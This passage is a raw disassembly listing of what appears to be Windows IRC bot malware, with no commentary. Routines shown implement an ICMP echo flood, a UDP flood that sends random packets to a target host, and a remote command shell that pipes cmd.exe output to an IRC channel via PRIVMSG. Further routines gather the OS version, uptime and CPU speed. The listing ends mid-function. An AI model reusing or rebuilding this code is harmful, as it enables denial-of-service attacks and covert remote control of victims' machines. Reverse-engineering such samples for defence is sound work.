		cmp	eax, ebx
		jz	short loc_40AFE2


loc_40AFDC:				; CODE XREF: sub_40AF81+48j
		cmp	[ebp+arg_0], 0FFFFFFFFh
		jnz	short loc_40B03F


loc_40AFE2:				; CODE XREF: sub_40AF81+59j
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+Dest]
		push	offset unk_42CAD8 ; Format
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_28], ebx
		jnz	short loc_40B022
		push	ebx		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_2C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_144]	; int
		call	sub_40D670
		add	esp, 14h


loc_40B022:				; CODE XREF: sub_40AF81+7Fj
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_40BF6F
		push	[ebp+var_30]
		call	sub_417064
		pop	ecx
		pop	ecx
		push	edi
		call	ds:dword_423050


loc_40B03F:				; CODE XREF: sub_40AF81+5Fj
		cmp	eax, ebx
		jz	short loc_40B04F
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_4], eax
		jmp	short loc_40B052
; ---------------------------------------------------------------------------


loc_40B04F:				; CODE XREF: sub_40AF81+C0j
		mov	[ebp+var_4], esi


loc_40B052:				; CODE XREF: sub_40AF81+CCj
		push	1Ch		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		or	[ebp+var_18], 0FFFFFFFFh
		mov	eax, 0FFDCh
		add	esp, 0Ch
		cmp	[ebp+var_3C], eax
		jle	short loc_40B072
		mov	[ebp+var_3C], eax


loc_40B072:				; CODE XREF: sub_40AF81+ECj
		cmp	[ebp+var_38], edi
		jge	short loc_40B07A
		mov	[ebp+var_38], edi


loc_40B07A:				; CODE XREF: sub_40AF81+F4j
		xor	esi, esi
		cmp	[ebp+var_40], ebx
		jle	short loc_40B0A7


loc_40B081:				; CODE XREF: sub_40AF81+124j
		push	[ebp+var_38]
		lea	eax, [ebp+Dst]
		push	1Ch
		push	eax
		push	ebx
		lea	eax, [ebp+var_10320]
		push	[ebp+var_3C]
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	ds:dword_43C53C	; IcmpSendEcho
		inc	esi
		cmp	esi, [ebp+var_40]
		jl	short loc_40B081


loc_40B0A7:				; CODE XREF: sub_40AF81+FEj
		push	[ebp+arg_0]
		call	ds:dword_43C6D0	; IcmpCloseHandle
		lea	eax, [ebp+var_C0]
		push	eax
		lea	eax, [ebp+Dest]
		push	offset unk_42CA9C ; Format
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_28], ebx
		jnz	short loc_40B0F0
		push	ebx		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_2C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_144]	; int
		call	sub_40D670
		add	esp, 14h


loc_40B0F0:				; CODE XREF: sub_40AF81+14Dj
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_40BF6F
		push	[ebp+var_30]
		call	sub_417064
		pop	ecx
		pop	ecx
		push	ebx
		call	ds:dword_423050
sub_40AF81	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B10D	proc near		; DATA XREF: sub_40EE51+2FC1o

var_10311	= byte ptr -10311h
var_10310	= byte ptr -10310h
Dest		= byte ptr -334h
var_134		= dword	ptr -134h
Str		= byte ptr -130h
var_B0		= byte ptr -0B0h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
Dst		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 10310h
		call	__alloca_probe
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	49h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_134]
		rep movsd
		push	1
		pop	esi
		mov	[eax+120h], esi
		call	ds:dword_423054	; GetTickCount
		push	eax
		call	sub_4172EE
		pop	ecx
		push	11h
		push	2
		push	2
		call	ds:dword_43C698	; socket
		mov	ebx, eax
		xor	edi, edi
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	edi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+var_B0]
		mov	[ebp+Dst], 2
		push	eax
		call	ds:dword_43C658	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jnz	short loc_40B1F2
		lea	eax, [ebp+var_B0]
		push	eax
		call	ds:dword_43C69C	; gethostbyname
		cmp	eax, edi
		jnz	short loc_40B1EB
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+Dest]
		push	offset dword_42CB4C ; Format
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_18], edi
		jnz	short loc_40B1CE
		push	edi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_1C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_134]	; int
		call	sub_40D670
		add	esp, 14h


loc_40B1CE:				; CODE XREF: sub_40B10D+9Fj
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_40BF6F
		push	[ebp+var_20]
		call	sub_417064
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_423050


loc_40B1EB:				; CODE XREF: sub_40B10D+7Fj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		jmp	short loc_40B1F5
; ---------------------------------------------------------------------------


loc_40B1F2:				; CODE XREF: sub_40B10D+6Ej
		lea	eax, [ebp+arg_0]


loc_40B1F5:				; CODE XREF: sub_40B10D+E3j
		mov	eax, [eax]
		cmp	[ebp+var_24], edi
		mov	[ebp+var_C], eax
		jnz	short loc_40B210
		call	_rand
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		jmp	short loc_40B213
; ---------------------------------------------------------------------------


loc_40B210:				; CODE XREF: sub_40B10D+F0j
		push	[ebp+var_24]


loc_40B213:				; CODE XREF: sub_40B10D+101j
		call	ds:dword_43C618	; htons
		cmp	[ebp+var_24], esi
		mov	[ebp+var_E], ax
		jge	short loc_40B225
		mov	[ebp+var_24], esi


loc_40B225:				; CODE XREF: sub_40B10D+113j
		mov	eax, 0FFFFh
		cmp	[ebp+var_24], eax
		jle	short loc_40B232
		mov	[ebp+var_24], eax


loc_40B232:				; CODE XREF: sub_40B10D+120j
		mov	eax, [ebp+var_30]
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		cmp	[ebp+var_28], edi
		mov	[ebp+var_30], eax
		jnz	short loc_40B246
		mov	[ebp+var_28], esi


loc_40B246:				; CODE XREF: sub_40B10D+134j
		xor	esi, esi
		cmp	[ebp+var_2C], edi
		jle	short loc_40B267


loc_40B24D:				; CODE XREF: sub_40B10D+158j
		call	_rand
		cdq
		mov	ecx, 0FFh
		idiv	ecx
		inc	esi
		cmp	esi, [ebp+var_2C]
		mov	[ebp+esi+var_10311], dl
		jl	short loc_40B24D


loc_40B267:				; CODE XREF: sub_40B10D+13Ej
					; sub_40B10D+19Cj ...
		mov	eax, [ebp+var_30]
		dec	[ebp+var_30]
		test	eax, eax
		jle	short loc_40B2C6
		push	0Bh
		pop	esi


loc_40B274:				; CODE XREF: sub_40B10D+197j
		lea	eax, [ebp+Dst]
		push	10h
		push	eax
		push	edi
		call	_rand
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		mov	eax, [ebp+var_2C]
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_10310]
		push	eax
		push	ebx
		call	ds:dword_43C67C	; sendto
		push	[ebp+var_28]
		call	ds:dword_423060	; Sleep
		dec	esi
		jnz	short loc_40B274
		cmp	[ebp+var_24], edi
		jnz	short loc_40B267
		call	_rand
		cdq
		mov	ecx, 0FFDCh
		idiv	ecx
		inc	edx
		push	edx
		call	ds:dword_43C618	; htons
		mov	[ebp+var_E], ax
		jmp	short loc_40B267
; ---------------------------------------------------------------------------


loc_40B2C6:				; CODE XREF: sub_40B10D+162j
		lea	eax, [ebp+var_B0]
		push	eax
		lea	eax, [ebp+Dest]
		push	offset dword_42CB10 ; Format
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_18], edi
		jnz	short loc_40B306
		push	edi		; int
		lea	eax, [ebp+Dest]
		push	[ebp+var_1C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_134]	; int
		call	sub_40D670
		add	esp, 14h


loc_40B306:				; CODE XREF: sub_40B10D+1D7j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_40BF6F
		push	[ebp+var_20]
		call	sub_417064
		pop	ecx
		pop	ecx
		push	edi
		call	ds:dword_423050
sub_40B10D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40B323	proc near		; CODE XREF: sub_40B353+2Ap
					; sub_40B38B+7Ep ...
		mov	eax, ds:dword_43C964
		push	esi
		mov	esi, ds:dword_423074
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40B337
		push	eax
		call	esi


loc_40B337:				; CODE XREF: sub_40B323+Fj
		mov	eax, ds:dword_43C96C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40B344
		push	eax
		call	esi


loc_40B344:				; CODE XREF: sub_40B323+1Cj
		mov	eax, ds:dword_43C960
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40B351
		push	eax
		call	esi


loc_40B351:				; CODE XREF: sub_40B323+29j
		pop	esi
		retn
sub_40B323	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40B353(char *Str)

sub_40B353	proc near		; CODE XREF: sub_40C353+14Ap
					; sub_40EE51+4882p

var_4		= dword	ptr -4
Str		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+Str]	; Str
		call	_strlen
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+Str]
		push	ds:dword_43C968
		call	ds:dword_423078
		test	eax, eax
		jnz	short loc_40B386
		call	sub_40B323
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40B386:				; CODE XREF: sub_40B353+28j
		push	1
		pop	eax
		leave
		retn
sub_40B353	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40B38B(int,char *Str1,int)

sub_40B38B	proc near		; CODE XREF: sub_40B412+D3p
					; sub_40B412+F2p ...

Str		= byte ptr -200h
arg_0		= dword	ptr  8
Str1		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset byte_4397BC ; Str2
		push	[ebp+Str1]	; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40B3CE
		push	7D0h
		call	ds:dword_423060	; Sleep
		push	[ebp+arg_8]
		lea	eax, [ebp+Str]
		push	[ebp+Str1]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h
		jmp	short loc_40B3E5
; ---------------------------------------------------------------------------


loc_40B3CE:				; CODE XREF: sub_40B38B+1Aj
		push	[ebp+arg_8]
		lea	eax, [ebp+Str]
		push	offset aS_1	; "%s"
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch


loc_40B3E5:				; CODE XREF: sub_40B38B+41j
		lea	eax, [ebp+Str]
		push	0
		push	eax		; Str
		call	_strlen
		pop	ecx
		push	eax
		lea	eax, [ebp+Str]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_43C668	; send
		test	eax, eax
		jg	short loc_40B40E
		call	sub_40B323


loc_40B40E:				; CODE XREF: sub_40B38B+7Cj
		xor	eax, eax
		leave
		retn
sub_40B38B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B412	proc near		; DATA XREF: sub_40B567+170o

Dst		= byte ptr -20Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset byte_43C970


loc_40B42A:				; CODE XREF: sub_40B412+79j
					; sub_40B412+DBj
		push	esi		; Size
		lea	eax, [ebp+Dst]
		push	edi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp+Dst]
		push	esi
		push	eax
		push	ds:dword_43C964
		call	ds:dword_423134	; PeekNamedPipe
		test	eax, eax
		jz	loc_40B4F8
		cmp	[ebp+var_4], edi
		jnz	short loc_40B48D
		lea	eax, [ebp+var_8]
		push	eax
		push	ds:dword_43C960
		call	ds:dword_423130	; GetExitCodeProcess
		test	eax, eax
		jz	short loc_40B483
		cmp	[ebp+var_8], 103h
		jnz	loc_40B51C


loc_40B483:				; CODE XREF: sub_40B412+62j
		push	0Ah
		call	ds:dword_423060	; Sleep
		jmp	short loc_40B42A
; ---------------------------------------------------------------------------


loc_40B48D:				; CODE XREF: sub_40B412+4Ej
		xor	eax, eax
		cmp	[ebp+var_4], edi
		jbe	short loc_40B4A4


loc_40B494:				; CODE XREF: sub_40B412+90j
		cmp	[ebp+eax+Dst], 0Ah
		jz	short loc_40B4F2
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_40B494


loc_40B4A4:				; CODE XREF: sub_40B412+80j
		mov	[ebp+var_4], esi


loc_40B4A7:				; CODE XREF: sub_40B412+E4j
		push	esi		; Size
		lea	eax, [ebp+Dst]
		push	edi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+Dst]
		push	eax
		push	ds:dword_43C964
		call	ds:dword_423070
		test	eax, eax
		jz	short loc_40B544
		lea	eax, [ebp+Dst]
		push	eax		; int
		push	ebx		; Str1
		push	ds:dword_43C9A4	; int
		call	sub_40B38B
		add	esp, 0Ch
		jmp	loc_40B42A
; ---------------------------------------------------------------------------


loc_40B4F2:				; CODE XREF: sub_40B412+8Aj
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_40B4A7
; ---------------------------------------------------------------------------


loc_40B4F8:				; CODE XREF: sub_40B412+45j
		push	offset dword_42CC0C ; int
		push	ebx		; Str1
		push	ds:dword_43C9A4	; int
		call	sub_40B38B
		push	[ebp+arg_0]
		call	sub_417064
		add	esp, 10h
		push	1
		call	ds:dword_423050


loc_40B51C:				; CODE XREF: sub_40B412+6Bj
		call	sub_40B323
		push	offset dword_42CBD4 ; int
		push	ebx		; Str1
		push	ds:dword_43C9A4	; int
		call	sub_40B38B
		push	[ebp+arg_0]
		call	sub_417064
		add	esp, 10h
		push	edi
		call	ds:dword_423050


loc_40B544:				; CODE XREF: sub_40B412+C3j
		push	offset dword_42CB94 ; int
		push	ebx		; Str1
		push	ds:dword_43C9A4	; int
		call	sub_40B38B
		push	[ebp+arg_0]
		call	sub_417064
		add	esp, 10h
		push	edi
		call	ds:dword_423050
sub_40B412	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B567	proc near		; CODE XREF: sub_40C353+99p
					; sub_40EE51+574Cp

Dest		= byte ptr -378h
var_178		= byte ptr -178h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
Dst		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	ebx
		push	esi
		push	edi
		call	sub_40B323
		xor	esi, esi
		lea	eax, [ebp+var_178]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aCmd_exe	; "cmd.exe"
		push	esi
		call	ds:dword_43C6D4	; SearchPathA
		test	eax, eax
		jz	loc_40B661
		push	1
		lea	eax, [ebp+var_1C]
		pop	ebx
		mov	edi, ds:dword_423140
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		mov	[ebp+var_1C], 0Ch
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], esi
		call	edi	; CreatePipe
		test	eax, eax
		jz	loc_40B661
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi	; CreatePipe
		test	eax, eax
		jz	loc_40B661
		mov	edi, ds:dword_42313C
		push	3
		push	esi
		push	esi
		push	offset dword_43C968
		call	edi	; GetCurrentProcess
		push	eax
		push	[ebp+var_8]
		call	edi	; GetCurrentProcess
		push	eax
		call	ds:dword_423138
		test	eax, eax
		jz	short loc_40B661
		push	10h		; Size
		lea	eax, [ebp+Dst]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		push	44h
		lea	eax, [ebp+var_74]
		pop	edi
		push	edi		; Size
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+Dst]
		mov	[ebp+var_74], edi
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		mov	ebx, offset byte_4397BC
		push	esi
		lea	eax, [ebp+var_178]
		push	ebx
		push	eax
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		call	ds:dword_423120	; CreateProcessA
		test	eax, eax
		jnz	short loc_40B669


loc_40B661:				; CODE XREF: sub_40B567+2Fj
					; sub_40B567+5Cj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_40B717
; ---------------------------------------------------------------------------


loc_40B669:				; CODE XREF: sub_40B567+F8j
		push	[ebp+var_4]
		mov	edi, ds:dword_423074
		call	edi
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	ds:dword_43C964, eax
		mov	eax, [ebp+var_8]
		mov	ds:dword_43C96C, eax
		mov	eax, [ebp+Dst]
		mov	ds:dword_43C960, eax
		call	edi
		mov	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], esi
		mov	ds:dword_43C9A4, eax
		jz	short loc_40B6A3
		push	[ebp+arg_4]
		jmp	short loc_40B6A4
; ---------------------------------------------------------------------------


loc_40B6A3:				; CODE XREF: sub_40B567+135j
		push	ebx		; Format


loc_40B6A4:				; CODE XREF: sub_40B567+13Aj
		push	offset byte_43C970 ; Dest
		call	_sprintf
		pop	ecx
		pop	ecx
		push	esi		; int
		push	7		; int
		push	offset dword_42CC90 ; Source
		call	sub_416D48
		mov	edi, eax
		mov	ecx, [ebp+var_24]
		imul	edi, 234h
		add	esp, 0Ch
		mov	ds:dword_442078[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset sub_40B412
		push	esi
		push	esi
		call	ds:dword_42309C
		cmp	eax, esi
		mov	ds:dword_442084[edi], eax
		jnz	short loc_40B715
		call	ds:dword_423088	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+Dest]
		push	offset dword_42CC4C ; Format
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_40BF6F
		add	esp, 10h


loc_40B715:				; CODE XREF: sub_40B567+185j
		xor	eax, eax


loc_40B717:				; CODE XREF: sub_40B567+FDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B567	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B71C	proc near		; CODE XREF: sub_407102+74p
					; sub_40B8D3+217p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		call	ds:dword_423054	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, 15180h
		xor	edx, edx
		mov	esi, ebx
		mov	edi, 0E10h
		mov	ebp, edi
		push	3Ch
		mov	ecx, eax
		sub	ecx, [esp+14h+arg_0]
		mov	eax, ecx
		div	esi
		mov	esi, edx
		xor	edx, edx
		mov	eax, esi
		div	ebp
		pop	ebp
		mov	eax, edx
		xor	edx, edx
		div	ebp
		xor	edx, edx
		push	eax
		mov	eax, esi
		div	edi
		xor	edx, edx
		mov	esi, offset byte_43C9AC
		push	eax
		mov	eax, ecx
		div	ebx
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	32h		; Count
		push	esi		; Dest
		call	__snprintf
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40B71C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B785	proc near		; CODE XREF: sub_409032+24p

var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h

		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		lea	eax, [ebp+var_94]
		push	esi
		push	eax
		xor	esi, esi
		mov	[ebp+var_94], 94h
		call	ds:dword_423144	; GetVersionExA
		test	eax, eax
		jz	short loc_40B818
		cmp	[ebp+var_90], 4
		jnz	short loc_40B7EE
		cmp	[ebp+var_8C], esi
		jnz	short loc_40B7D6
		cmp	[ebp+var_84], 1
		jnz	short loc_40B7C9
		push	1
		pop	esi


loc_40B7C9:				; CODE XREF: sub_40B785+3Fj
		cmp	[ebp+var_84], 2
		jnz	short loc_40B818
		push	1
		jmp	short loc_40B817
; ---------------------------------------------------------------------------


loc_40B7D6:				; CODE XREF: sub_40B785+36j
		cmp	[ebp+var_8C], 0Ah
		jnz	short loc_40B7E3


loc_40B7DF:				; CODE XREF: sub_40B785+78j
		push	2
		jmp	short loc_40B817
; ---------------------------------------------------------------------------


loc_40B7E3:				; CODE XREF: sub_40B785+58j
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_40B818
		jmp	short loc_40B808
; ---------------------------------------------------------------------------


loc_40B7EE:				; CODE XREF: sub_40B785+2Ej
		cmp	[ebp+var_90], 5
		jnz	short loc_40B818
		cmp	[ebp+var_8C], esi
		jz	short loc_40B7DF
		cmp	[ebp+var_8C], 1
		jnz	short loc_40B80C


loc_40B808:				; CODE XREF: sub_40B785+67j
		push	3
		jmp	short loc_40B817
; ---------------------------------------------------------------------------


loc_40B80C:				; CODE XREF: sub_40B785+81j
		cmp	[ebp+var_8C], 2
		jnz	short loc_40B818
		push	7


loc_40B817:				; CODE XREF: sub_40B785+4Fj
					; sub_40B785+5Cj ...
		pop	esi


loc_40B818:				; CODE XREF: sub_40B785+25j
					; sub_40B785+4Bj ...
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40B785	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B81D	proc near		; CODE XREF: sub_40B8D3+290p
		push	ebx
		push	esi
		push	edi
		mov	esi, 0F4240h


loc_40B825:				; CODE XREF: sub_40B81D+2Fj
					; sub_40B81D+35j
		rdtsc
		push	3E8h
		mov	edi, edx
		mov	ebx, eax
		call	ds:dword_423060	; Sleep
		rdtsc
		sub	eax, ebx
		push	0
		sbb	edx, edi
		push	esi
		push	edx
		push	eax
		call	__aulldiv
		mov	edi, edx
		mov	ebx, eax
		test	edi, edi
		ja	short loc_40B825
		jb	short loc_40B854
		cmp	ebx, esi
		ja	short loc_40B825


loc_40B854:				; CODE XREF: sub_40B81D+31j
		push	0
		push	64h
		push	edi
		push	ebx
		call	__aullrem
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	esi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_40B8C7
		jb	short loc_40B873
		cmp	esi, 50h
		jnb	short loc_40B878


loc_40B873:				; CODE XREF: sub_40B81D+4Fj
		push	4Bh
		xor	edx, edx
		pop	eax


loc_40B878:				; CODE XREF: sub_40B81D+54j
		test	ecx, ecx
		ja	short loc_40B8C7
		jb	short loc_40B883
		cmp	esi, 47h
		jnb	short loc_40B888


loc_40B883:				; CODE XREF: sub_40B81D+5Fj
		push	42h
		xor	edx, edx
		pop	eax


loc_40B888:				; CODE XREF: sub_40B81D+64j
		test	ecx, ecx
		ja	short loc_40B8C7
		jb	short loc_40B893
		cmp	esi, 37h
		jnb	short loc_40B898


loc_40B893:				; CODE XREF: sub_40B81D+6Fj
		push	32h
		xor	edx, edx
		pop	eax


loc_40B898:				; CODE XREF: sub_40B81D+74j
		test	ecx, ecx
		ja	short loc_40B8C7
		jb	short loc_40B8A3
		cmp	esi, 26h
		jnb	short loc_40B8A8


loc_40B8A3:				; CODE XREF: sub_40B81D+7Fj
		push	21h
		xor	edx, edx
		pop	eax


loc_40B8A8:				; CODE XREF: sub_40B81D+84j
		test	ecx, ecx
		ja	short loc_40B8C7
		jb	short loc_40B8B3
		cmp	esi, 1Eh
		jnb	short loc_40B8B8


loc_40B8B3:				; CODE XREF: sub_40B81D+8Fj
		push	19h
		xor	edx, edx
		pop	eax


loc_40B8B8:				; CODE XREF: sub_40B81D+94j
		test	ecx, ecx
		ja	short loc_40B8C7
		jb	short loc_40B8C3
		cmp	esi, 0Ah
		jnb	short loc_40B8C7


loc_40B8C3:				; CODE XREF: sub_40B81D+9Fj
		xor	eax, eax
		xor	edx, edx


loc_40B8C7:				; CODE XREF: sub_40B81D+4Dj
					; sub_40B81D+5Dj ...
		sub	eax, esi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_40B81D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B8D3	proc near		; CODE XREF: sub_40EE51+59D1p

var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
FullPath	= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
Dest		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
Dst		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
Drive		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset byte_4397BC
		mov	[ebp+var_CC], 94h
		call	ds:dword_423144	; GetVersionExA
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_40B95A
		cmp	[ebp+var_C4], ebx
		jnz	short loc_40B936
		cmp	[ebp+var_BC], 1
		jnz	short loc_40B920
		mov	[ebp+var_4], offset a95	; "95"


loc_40B920:				; CODE XREF: sub_40B8D3+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_40B9D5
		mov	[ebp+var_4], offset aNt	; "NT"
		jmp	short loc_40B9A6
; ---------------------------------------------------------------------------


loc_40B936:				; CODE XREF: sub_40B8D3+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_40B948
		mov	[ebp+var_4], offset a98	; "98"
		jmp	short loc_40B99D
; ---------------------------------------------------------------------------


loc_40B948:				; CODE XREF: sub_40B8D3+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_40B996
		mov	[ebp+var_4], offset aMe	; "ME"
		jmp	short loc_40B99D
; ---------------------------------------------------------------------------


loc_40B95A:				; CODE XREF: sub_40B8D3+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_40B996
		cmp	[ebp+var_C4], ebx
		jnz	short loc_40B974
		mov	[ebp+var_4], offset a2k	; "2K"
		jmp	short loc_40B99D
; ---------------------------------------------------------------------------


loc_40B974:				; CODE XREF: sub_40B8D3+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_40B986
		mov	[ebp+var_4], offset aXp	; "XP"
		jmp	short loc_40B99D
; ---------------------------------------------------------------------------


loc_40B986:				; CODE XREF: sub_40B8D3+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_40B99D


loc_40B996:				; CODE XREF: sub_40B8D3+7Cj
					; sub_40B8D3+8Ej
		mov	[ebp+var_4], offset a??? ; "???"


loc_40B99D:				; CODE XREF: sub_40B8D3+73j
					; sub_40B8D3+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_40B9D5


loc_40B9A6:				; CODE XREF: sub_40B8D3+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_40B9D5
